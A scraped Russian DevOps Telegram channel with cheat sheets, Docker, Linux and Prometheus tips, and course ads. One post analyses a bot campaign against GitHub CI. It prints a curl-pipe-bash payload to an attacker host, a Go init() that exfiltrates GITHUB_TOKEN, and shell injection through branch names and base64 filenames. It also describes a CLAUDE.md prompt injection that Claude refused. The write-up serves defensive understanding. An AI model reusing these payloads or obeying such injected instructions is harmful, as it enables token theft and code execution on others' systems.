DeVops Библиотека
9.48K subscribers
123 photos
46 videos
43 files
119 links
Гайды, уроки и книги для Devops специалситов
по всем вопросам @workakkk
Download Telegram
SQL Basics.pdf
102.8 KB
💻 Подборка шпаргалок по SQL

Собрали для вас короткие и понятные шпаргалки по основным темам:
Основы языка SQL;
JOIN’ы с наглядными примерами;
Оконные функции;
SQL для анализа данных.


Отличный комплект, чтобы освежить знания перед собесом или быстро вспомнить синтаксис.

#полезное

📲Max
Please open Telegram to view this post
VIEW IN TELEGRAM
4
Forwarded from DevOps Docker
🐳 Docker Layer Caching Trick

Многие Docker-сборки занимают 5–10 минут
даже если вы изменили одну строку кода.

Причина - неправильный порядок инструкций в Dockerfile.

🚫 Плохой Dockerfile

COPY . /app
RUN npm install
RUN npm run build

Если меняется любой файл в коде →
слой COPY . меняется.

Docker сбрасывает кэш и заново запускает:

• npm install
• build

Даже если зависимости не менялись.

В итоге - каждая сборка почти с нуля.

Правильный Dockerfile

COPY package*.json /app
RUN npm install

COPY . /app
RUN npm run build

Теперь Docker работает умнее:

если изменился только код:

• слой npm install берётся из кэша
• пересобирается только build

Время сборки

До - ~10 минут
После - ~30 секунд

📌 Золотое правило Dockerfile

Сначала кладём то, что редко меняется:

• package.json
• package-lock.json
• requirements.txt
• go.mod

А часто меняющееся - в конце:

• исходный код
• конфиги
• assets

🚀 Результат

• быстрее сборки Docker
• быстрее CI/CD
• быстрее деплой

Иногда достаточно просто поменять порядок строк в Dockerfile.

🎯Полезные DEVOPS ресурсы 🚀 Max

Docker в телеграм
2👍2👎1🔥1
➡️ Архитектура Linux простыми словами

Linux — это не просто система, а набор слоёв, которые работают вместе:

1. 🖥 Hardware
Железо: процессор, память, сеть — всё, что даёт вычислительную мощность

2. ⚙️ Kernel
Ядро системы — управляет ресурсами и напрямую общается с железом

3. 💻 Shell
Интерфейс (например, Bash), который переводит команды пользователя в язык ядра

4. 🛠 Utilities
Системные утилиты (ls, grep, cp) — инструменты для работы с системой

5. 🌐 Applications
Приложения: браузеры, плееры, IDE — то, с чем работает пользователь

📌 Как это работает вместе:

Ты вводишь команду → shell передаёт её ядру → ядро обращается к железу → утилиты/приложения выполняют задачу

Просто, но гениально.

#Linux #DevOps #Backend
👍52🔥2
Forwarded from Rust
👣 Microsoft выкатили RustTraining.

Вот лишь часть тем, которые сразу зацепили:

- Async в продакшене
- Конкурентность и runtime
- Почему разработчикам на C/C++ стоит переходить на Rust
- no_std — Rust без стандартной библиотеки
- Зачем Rust разработчикам на C#
- Системное программирование и продакшн
- Unsafe Rust - управляемый риск
- Phantom types
- Машины состояний для протоколов

И это только малая часть.

Похоже, туда вложили очень много работы, точно стоит выделить время и пройтись.

github.com/microsoft/RustTraining/
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3
Forwarded from Golang
🧠 Контейнерный стек - кто за что отвечает

1. Podman
👉 альтернатива Docker без демона, можно запускать контейнеры rootless
🔗 https://podman.io

2. containerd
👉 низкоуровневый runtime, который реально контейнеры
🔗 https://containerd.io

3. CRI-O
👉 runtime специально для Kubernetes
🔗 https://cri-o.io

4. runc
👉 самый низкий уровень (OCI runtime)
🔗 https://github.com/opencontainers/runc

5. Buildah
👉 сборка образов без Docker
🔗 https://buildah.io

6. Kaniko
👉 сборка образов внутри Kubernetes
🔗 https://github.com/GoogleContainerTools/kaniko

7. nerdctl
👉 docker-подобный CLI для containerd
🔗 https://github.com/containerd/nerdctl

8. Rancher Desktop
👉 локальный Kubernetes + контейнеры
🔗 https://rancherdesktop.io

9. OrbStack
👉 быстрый dev environment для macOS
🔗 https://orbstack.dev

10. LXC / LXD
👉 системные контейнеры (почти как VM)
🔗 https://linuxcontainers.org

11. Colima
👉 лёгкая альтернатива Docker Desktop
🔗 https://github.com/abiosoft/colima

12. Lima
👉 лёгкая VM для macOS
🔗 https://github.com/lima-vm/lima

💡 Как это связать

👉 runc → запускает контейнер
👉 containerd / CRI-O → управляют контейнерами
👉 Podman / nerdctl → интерфейс
👉 Buildah / Kaniko → сборка
👉 Rancher / OrbStack / Colima → dev окружение
👉 Lima → VM база

👣 Полезные ресурсы Go 🚀Max

@Golang_google
Please open Telegram to view this post
VIEW IN TELEGRAM
👍32
This media is not supported in your browser
VIEW IN TELEGRAM
Ты думаешь языки программирования - это просто код?
На самом деле у каждого есть своя родина.

C, Java, Go, Rust - все родились в США.
Python - из Нидерландов.
Kotlin - Россия.
Ruby - Япония.
Scala - Швейцария.

Фактически весь стек, на котором держится современный интернет - это глобальная сборка идей со всего мира.

И чем дальше, тем сильнее это смешивается.

Сохрани, чтобы не забыть, и подпишись на канал - здесь объясняю сложные вещи простым языком

https://youtube.com/shorts/GXVX5fyEBVM?si=YgzKPCw-x0XG3doO
4👍2👎1
This media is not supported in your browser
VIEW IN TELEGRAM
⚡️ Чек-лист для твоего Linux сервера

Перед тем как ставить проекты и открывать порты - приведи сервер в порядок.

Мой чек-лист на первые 10 минут:

- обнови систему и поставь базовые утилиты
- создай отдельного пользователя и запрети root-login по SSH
- включи firewall (UFW) и открой только нужные порты
- настрой SSH-ключи вместо пароля
- включи авто-обновления безопасности
- зафиксируй таймзону и проверь логи
- поставь fail2ban, чтобы брутфорс не убил сервер за ночь

Это база, которая спасает 90% проблем на проде.


sudo apt update && sudo apt -y upgrade

sudo apt -y install htop curl wget git ufw fail2ban unattended-upgrades

sudo timedatectl set-timezone Asia/Bangkok

sudo adduser deploy && sudo usermod -aG sudo deploy

sudo ufw allow OpenSSH && sudo ufw allow 80,443/tcp && sudo ufw --force enable

sudo sed -i 's/^#?PasswordAuthentication./

PasswordAuthentication no/' /etc/ssh/sshd_config
sudo sed -i 's/^#?PermitRootLogin./PermitRootLogin no/' /etc/ssh/sshd_config

sudo systemctl restart ssh
sudo dpkg-reconfigure --priority=low unattended-upgrades
sudo systemctl enable --now fail2ban
1🔥1
This media is not supported in your browser
VIEW IN TELEGRAM
Prometheus на пальцах: как устроен главный инструмент мониторинга 🔍

Разбираем архитектуру Prometheus без лишней теории - только суть:

1. Discovery & Retrieval
Автоматически находит сервисы (например, в Kubernetes) и начинает собирать с них метрики.

2. Prometheus Server
Главный мозг системы - ходит по таргетам, собирает данные, обрабатывает и управляет хранением.

3. TSDB
Встроенная time-series база, где лежат все метрики - быстро отвечает как на realtime, так и на исторические запросы.

4. Pushgateway
Нужен для короткоживущих задач - они пушат метрики перед завершением.

5. Exporters
Адаптеры для сторонних систем - превращают их метрики в понятный для Prometheus формат.

6. Alertmanager
Следит за правилами и шлёт алерты в Slack, почту и другие каналы.

7. PromQL + Grafana
Пишешь запросы, строишь графики, собираешь дашборды.

https://www.youtube.com/shorts/zix3HbQ96qc
2👍2🔥2
🐧 Лайфхак по Linux, который реально экономит время

Команда find умеет не только искать файлы, но и сразу что-то с ними делать через -exec.

Пример:
$ find ~/ -type f -exec ls -lah {} \;

Что происходит:
find находит все файлы и для каждого запускает ls, показывая права, размер и метаданные.

Как работает -exec:
- exec ls - команда, которую нужно выполнить
- -lah - формат вывода (права, скрытые файлы, размеры)
- {} - подставляет имя каждого найденного файла
- \; - завершает команду (экранируем, иначе shell сломает)

Полезно, когда нужно применить одно действие к куче файлов в разных местах.

Важно:
вместо \; можно использовать +
тогда команда будет применяться сразу к группе файлов — быстрее и эффективнее

Пример с несколькими командами:
$ find . -name "*.txt" -exec wc {} \; -exec du -sh {} \;

Считает слова и сразу показывает размер каждого файла.

Сохрани — это база для работы с файлами в Linux.
👍8🔥41
Шпаргалка Kubernetes
7🔥5👍1
⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее.

Осталось одно: сесть и выучить.

Этот курс со Stepik- кратчайший путь от «знаю что такое Rust» до «пишу на нём».

6 модулей, 50 уроков, 143 теста. Ownership, borrowing, traits, async, Tokio, Axum, макросы, WASM — всё разложено по полочкам и закреплено практикой.
Никакого видео на 40 минут ради одной мысли. Подробный текст, много кода, реальные задачи после каждого урока. На выходе — портфолио из 10+ проектов: от CLI-утилит до REST API с базой данных.

48 часов действует скидка 55 процентов: stepik.org/course/269250
4👍1🔥1
📎 Один бот, пять техник

За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.

Атака 1. avelino/awesome-go — кража токена через Go init()

Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.

Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.

В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:

func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}


Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.

Атака 2. project-akri/akri — прямая инъекция в shell-скрипт

Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:

#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()


Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.

Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.

Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки

Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)


Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:

run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref


Это превращалось в:

echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...


Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.


Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла

Бот создал файл с именем, содержащим закодированную команду:

documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md


При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.

Атака 5. ambient-code/platform — prompt injection в CLAUDE.md

Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.

Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.

Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.

Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
Please open Telegram to view this post
VIEW IN TELEGRAM
4
🚀 Мощный панель управления для игровых серверов

MCSManager — это современная веб-панель для управления серверами Minecraft, Steam и другими играми. Она позволяет легко управлять несколькими серверами с одного интерфейса, предлагая надежную систему разрешений для пользователей и поддержку многоязычности.

🚀 Основные моменты:
- Быстрая установка игровых серверов с помощью встроенного магазина приложений.
- Поддержка множества игр, включая Terraria и Project Zomboid.
- Настраиваемый интерфейс с возможностью перетаскивания элементов.
- Поддержка Docker и коммерческого хостинга.
- Легковесная архитектура на TypeScript.

📌 GitHub: https://github.com/MCSManager/MCSManager
4
🖥 На Stepik обновили курс «C# с нуля до профи»

Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете его как книгу.

IServiceCollection не вызывает ступора. async Task<IActionResult> пишется на автомате. Вы точно знаете, почему EF Core сгенерировал именно такой SQL - и как переписать запрос, чтобы он летал.

Это не фантазия. Это результат после 16 модулей, в которых каждая концепция объясняется через код и закрепляется практикой.

ООП, SOLID, LINQ, async/await, DI, EF Core, ASP.NET Core, Docker, Kubernetes - всё, что казалось магией, станет рабочим инструментом.

А бонусом - портфолио проектов: от CLI-утилит и REST API до собственного SaaS с multi-tenancy, JWT и деплоем в Kubernetes под TLS.

Скидка - 58% доступна 48 часов: https://stepik.org/a/282984/
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍2🔥2
Быстрый анализ загрузки через systemd-analyze

На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле жизни секунд 40. Обычно лезешь сразу в сервисы, логи и смотришь что запустилось, а что еще нет. Но иногда юнит не падает, а просто висит в starting и ждёт сеть, DNS, диск или маунт.

Что делает systemd-analyze

systemd-analyze вскрывает сколько заняло ядро, сколько занял userspace, и какие юниты съели время.

Кто тормозит


systemd-analyze blame


Она покажет список юнитов, отсортированный по времени старта. Важно: это не всегда время выполнения, а то, сколько юнит считался стартующим. Но обычно виновники видны сразу.

Дерево зависимостей

Когда юнит тормозит, часто причина не в нём, а в том, что он ждёт сеть, диск, другой сервис.


systemd-analyze critical-chain


Эта штука показывает цепочку, что блокировало путь до default.target. Видно кто кого ждал и где пробка.

График загрузки для красивого разбора

Если хочется визуально показать коллеге почему оно долго стартует, есть SVG-таймлайн.


systemd-analyze plot > boot.svg


Открываешь boot.svg в браузере и видишь полосочки, кто и когда стартовал.

Вывод

systemd-analyze это твой способ увидеть кто, где и почему тормозит загрузку и кто кого ожидает.
3👍2🔥2
👣 Твой код на Rust компилируется, проходит тесты и является UB. Ты просто об этом не знаешь

Если взять случайный крейт с crates.io, поставить на него Miri и подождать минут пять, шанс увидеть красное сообщение про undefined behavior где-то в зависимостях стремится к единице. Чаще всего виноват не автор хитрого unsafe-блока ради скорости, а вполне обычная библиотека, которой пять лет, у которой звёзд на гитхабе больше, чем у твоего пет-проекта строчек кода, и которая всё это время спокойно лежит в продакшене.

Самое неприятное в этой истории то, что компилятор ничего не скажет. Тесты пройдут. Бенчмарки покажут красивые наносекунды. А потом LLVM 19 обновится до LLVM 20, поменяет один проход оптимизации, и твой сервис начнёт ронять прод по понедельникам. Чтобы понять, почему так происходит, придётся залезть в три темы, которые в обычной жизни Rust-разработчика не встречаются: pointer provenance, Stacked Borrows и пришедшую им на смену Tree Borrows.

https://uproger.com/tvoj-kod-na-rust-kompiliruetsya-prohodit-testy-i-yavlyaetsya-ub-ty-prosto-ob-etom-ne-znaesh/
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍2🔥2